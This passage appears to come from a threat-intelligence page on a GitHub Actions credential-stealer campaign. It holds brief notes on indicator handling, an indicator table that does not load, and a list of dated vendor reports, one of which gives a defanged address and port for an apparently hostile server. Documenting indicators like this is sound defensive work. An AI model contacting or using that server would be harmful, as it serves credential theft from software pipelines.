Amber values are in no public report or feed we checked. Every copy of the stealer names its target repository, so a file hash matches one copy only. Name shapes are in the quick reference above.

Loading indicators…
Indicator
Category
VT
Context

References

Prior reporting

  1. Aikido, 2026-11-12: Compromised GitHub accounts push CI secret stealer to tens of thousands of repositories
  2. SafeDep, 2026-11-12: wfx, GitHub Actions credential stealer hits 8,000 repos
  3. StepSecurity, 2026-11-12: WFX Phantom, the GitHub Actions secret stealer that deletes its tracks
  4. WebdriverIO, 2026-11-12: Compromised automation account pushed credential-stealing commits to 31 repositories
  5. abuse.ch ThreatFox, 2026-11-11: 194.150.166[.]244:8080
  6. v2think.com, 2026-11-11: a developer’s account of repeated abuse of one GitHub account, with the trial server named
  7. GitGuardian, 2026-10-27: GhostAction crosses paths with PolinRider, inside the October escalation
  8. StepSecurity, 2026-10-09: GhostAction returns
  9. GitHub Changelog, 2026-07-28: GitHub Actions holds potentially malicious workflows for approval
  10. Socket, 2026-07-22: Large-scale GitHub Actions abuse powers a cPanel and WHM exploitation campaign
  11. SafeDep, 2026-05-21: Megalodon, mass GitHub repo backdooring via CI workflows